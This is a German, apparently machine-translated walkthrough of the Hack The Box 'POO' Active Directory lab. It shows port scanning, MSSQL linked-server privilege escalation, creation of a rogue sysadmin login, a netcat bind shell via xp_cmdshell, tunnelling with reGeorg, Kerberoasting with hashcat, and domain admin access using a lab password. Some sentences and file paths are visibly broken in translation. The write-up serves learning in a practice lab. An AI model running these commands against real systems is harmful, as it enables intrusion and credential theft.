In diesem Artikel analysieren wir den Weggang nicht nur einer Maschine, sondern eines ganzen Minilabors vom Standort
Wie in der Beschreibung angegeben, ist POO darauf ausgelegt, Fähigkeiten in allen Phasen von Angriffen in einer kleinen Active Directory-Umgebung zu testen. Das Ziel besteht darin, einen verfügbaren Host zu gefährden, die Berechtigungen zu erweitern und schließlich die gesamte Domäne zu gefährden, indem dabei fünf Flags gesammelt werden.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem funktionierenden Computer oder von einem Host aus herzustellen, auf dem sich wichtige Daten für Sie befinden, da Sie sonst in ein privates Netzwerk mit Personen gelangen, die sich mit Informationssicherheit auskennen 🙂
organisatorische Informationen
Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich erstellt
Alle Informationen dienen ausschließlich Bildungszwecken. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die irgendjemandem durch die Verwendung der durch das Studium dieses Dokuments erworbenen Kenntnisse und Methoden entstehen.
Einleitung / Intro
Dieses Endspiel besteht aus zwei Maschinen und enthält 5 Flaggen.
Außerdem wird die Beschreibung und Adresse des verfügbaren Hosts angegeben.
Fangen wir an!
Aufklärungsflagge
Diese Maschine hat die IP-Adresse 10.13.38.11, die ich zu /etc/hosts hinzufüge.
10.13.38.11 poo.htb
Der erste Schritt besteht darin, offene Ports zu scannen. Da es lange dauert, alle Ports mit nmap zu scannen, werde ich es zuerst mit masscan machen. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Um nun detailliertere Informationen zu den Diensten zu erhalten, die auf den Ports ausgeführt werden, führen wir einen Scan mit der Option -A durch.
nmap -A poo.htb -p80,1433
Daher verfügen wir über IIS- und MSSQL-Dienste. In diesem Fall erfahren wir den tatsächlichen DNS-Namen der Domäne und des Computers. Auf dem Webserver werden wir von der IIS-Homepage begrüßt.
Lassen Sie uns die Verzeichnisse durchlaufen. Ich verwende dafür Gobuster. In den Parametern geben wir die Anzahl der Streams 128 (-t), URL (-u), Wörterbuch (-w) und Erweiterungen an, die uns interessieren (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Somit steht uns eine HTTP-Authentifizierung für das Verzeichnis /admin sowie die Desktop-Service-Speicherdatei .DS_Store zur Verfügung. .DS_Store sind Dateien, die Benutzereinstellungen für einen Ordner speichern, z. B. eine Liste von Dateien, den Speicherort des Symbols und das ausgewählte Hintergrundbild. Eine solche Datei kann im Webserververzeichnis von Webentwicklern landen. Dadurch erhalten wir Informationen über den Inhalt des Verzeichnisses. Hierfür können Sie verwenden
python3 dsstore_crawler.py -i http://poo.htb/
Wir erhalten den Inhalt des Verzeichnisses. Das Interessanteste hier ist das /dev-Verzeichnis, von dem aus wir die Quellen und DB-Dateien in zwei Zweigen sehen können. Wir können jedoch die ersten 6 Zeichen von Datei- und Verzeichnisnamen verwenden, wenn der Dienst für IIS ShortName anfällig ist. Sie können diese Schwachstelle mithilfe von überprüfen
Und wir finden eine Textdatei, die mit „poo_co“ beginnt. Da ich nicht wusste, was ich als nächstes tun sollte, wählte ich einfach alle Wörter aus dem Verzeichnisverzeichnis aus, die mit „co“ beginnen.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Und iterieren Sie noch einmal mit wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Und finde das richtige Wort! Wir schauen uns diese Datei an und speichern die Anmeldeinformationen (dem DBNAME-Parameter nach zu urteilen, stammen sie von MSSQL).
Wir übergeben die Flagge und rücken um 20 % vor.
Huh Flagge
Wir stellen eine Verbindung zu MSSQL her, ich verwende DBeaver.
Da wir in dieser Datenbank nichts Interessantes finden, erstellen wir einen SQL-Editor und prüfen die Benutzer.
SELECT name FROM master..syslogins;
Wir haben zwei Benutzer. Schauen wir uns unsere Privilegien an.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Es gibt also keine Privilegien. Schauen wir uns die Verbindungsserver an. Ich habe ausführlich über diese Technik geschrieben
SELECT * FROM master..sysservers;
Also finden wir einen anderen SQL Server. Lassen Sie uns die Ausführung von Befehlen auf diesem Server mit openquery() überprüfen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Und wir können sogar einen Abfragebaum erstellen.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Tatsache ist, dass, wenn wir eine Anfrage an einen Verbindungsserver stellen, die Anfrage im Kontext eines anderen Benutzers ausgeführt wird! Sehen wir uns an, in welchem Benutzerkontext wir auf dem Verbindungsserver ausgeführt werden.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Und nun wollen wir sehen, in welchem Kontext die Anfrage vom Verbindungsserver an unseren ausgeführt wird!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Daher handelt es sich um einen DBO-Kontext, der über alle Berechtigungen verfügen muss. Lassen Sie uns die Berechtigungen im Falle einer Anfrage von einem Verbindungsserver überprüfen.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Wie Sie sehen, haben wir alle Privilegien! Lassen Sie uns unseren Admin so erstellen. Aber sie lassen sie nicht über openquery durch, sondern über EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Und jetzt verbinden wir uns mit den Anmeldeinformationen des neuen Benutzers und beobachten die neue Flag-Datenbank.
Wir übergeben diese Flagge und gehen weiter.
Backtrack-Flagge
Lassen Sie uns die Shell mit MSSQL abrufen. Ich verwende mssqlclient aus dem Impacket-Paket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Wir müssen Passwörter besorgen, und das erste, was wir bereits kennengelernt haben, ist die Website. Daher benötigen wir eine Webserver-Konfiguration (es ist unmöglich, eine praktische Shell zu starten, anscheinend funktioniert die Firewall).
Doch der Zugriff wird verweigert. Obwohl wir die Datei aus MSSQL lesen können, müssen wir nur wissen, welche Programmiersprachen konfiguriert sind. Und im MSSQL-Verzeichnis stellen wir fest, dass es Python gibt.
Dann ist es kein Problem, die Datei web.config zu lesen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Nachdem Sie die Anmeldeinformationen gefunden haben, gehen Sie zu /admin und holen Sie sich die Flagge.
Standfahne
Tatsächlich bringt die Verwendung einer Firewall einige Unannehmlichkeiten mit sich, aber wenn wir uns die Netzwerkeinstellungen ansehen, stellen wir fest, dass auch das IPv6-Protokoll verwendet wird!
Fügen Sie diese Adresse zu /etc/hosts hinzu.
dead:babe::1001 poo6.htb
Lassen Sie uns den Host erneut scannen, dieses Mal jedoch über IPv6.
Und der WinRM-Dienst ist über IPv6 verfügbar. Verbinden wir uns mit den gefundenen Anmeldeinformationen.
Auf dem Schreibtisch liegt eine Fahne, gib sie ab.
P00ned-Flagge
Nach Aufklärung auf dem Host mit
setspn.exe -T intranet.poo -Q */*
Lassen Sie uns den Befehl über MSSQL ausführen.
Auf diese Weise erhalten wir den SPN der Benutzer p00_hr und p00_adm, was bedeutet, dass sie anfällig für einen Angriff wie Kerberoasting sind. Kurz gesagt, wir können die Hashes ihrer Passwörter erhalten.
Zuerst müssen Sie im Namen des MSSQL-Benutzers eine stabile Shell erhalten. Da wir jedoch nur eingeschränkten Zugriff haben, haben wir nur über die Ports 80 und 1433 eine Verbindung zum Host. Es ist jedoch möglich, den Datenverkehr über Port 80 zu tunneln! Dafür verwenden wir
Wenn wir jedoch versuchen, darauf zuzugreifen, erhalten wir den Fehler 404. Dies bedeutet, dass *.aspx-Dateien nicht ausgeführt werden. Um Dateien mit diesen Erweiterungen auszuführen, installieren Sie ASP.NET 4.5 wie folgt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Und jetzt erhalten wir beim Zugriff auf tunnel.aspx die Antwort, dass alles startklar sei.
Starten wir den Client-Teil der Anwendung, der den Datenverkehr weiterleitet. Wir leiten den gesamten Datenverkehr von Port 5432 an den Server weiter.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Und wir verwenden Proxychains, um den Datenverkehr jeder Anwendung über unseren Proxy zu senden. Fügen wir diesen Proxy zur Konfigurationsdatei /etc/proxychains.conf hinzu.
Nun laden wir das Programm auf den Server hoch
Jetzt starten wir über MSSQL den Listener.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Und wir verbinden uns über unseren Proxy.
proxychains rlwrap nc poo.htb 4321
Und holen wir uns die Hashes.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Als Nächstes müssen Sie diese Hashes durchlaufen. Da rockyou kein Passwort-Datenwörterbuch hatte, habe ich ALLE in Seclists bereitgestellten Passwort-Wörterbücher verwendet. Zur Aufzählung verwenden wir Hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Und wir finden beide Passwörter, das erste im Wörterbuch dutch_passwordlist.txt und das zweite in Keyboard-Combinations.txt.
Und da wir drei Benutzer haben, gehen wir zum Domänencontroller. Lassen Sie uns zuerst seine Adresse herausfinden.
Super, wir haben die IP-Adresse des Domänencontrollers erfahren. Lassen Sie uns alle Benutzer der Domäne herausfinden und herausfinden, wer von ihnen Administrator ist. Um das Skript herunterzuladen, um Informationen zu erhalten, PowerView.ps1. Dann verbinden wir uns mit evil-winrm und geben im Parameter -s das Verzeichnis mit dem Skript an. Und dann laden Sie einfach das PowerView-Skript.
Jetzt haben wir Zugriff auf alle seine Funktionen. Der Benutzer p00_adm sieht aus wie ein privilegierter Benutzer, daher werden wir in seinem Kontext arbeiten. Erstellen wir ein PSCredential-Objekt für diesen Benutzer.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Jetzt werden alle Powershell-Befehle, bei denen wir Creds angeben, im Namen von p00_adm ausgeführt. Lassen Sie uns eine Liste der Benutzer und das AdminCount-Attribut anzeigen.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Und so ist unser Benutzer wirklich privilegiert. Mal sehen, zu welchen Gruppen er gehört.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Wir bestätigen abschließend, dass der Benutzer ein Domänenadministrator ist. Dadurch erhält er das Recht, sich remote am Domänencontroller anzumelden. Versuchen wir, uns über unseren Tunnel mit WinRM anzumelden. Ich war verwirrt über die von reGeorg ausgegebenen Fehler bei der Verwendung von evil-winrm.
Dann verwenden wir ein anderes, einfacheres,
Wir versuchen, eine Verbindung herzustellen, und wir sind im System.
Aber es gibt keine Flagge. Schauen Sie sich dann den Benutzer an und überprüfen Sie die Desktops.
Bei mr3ks finden wir die Flagge und das Labor ist zu 100 % fertiggestellt.
Das ist alles. Kommentieren Sie als Feedback, ob Sie aus diesem Artikel etwas Neues gelernt haben und ob er für Sie nützlich war.
Sie können sich uns anschließen unter
Source: habr.com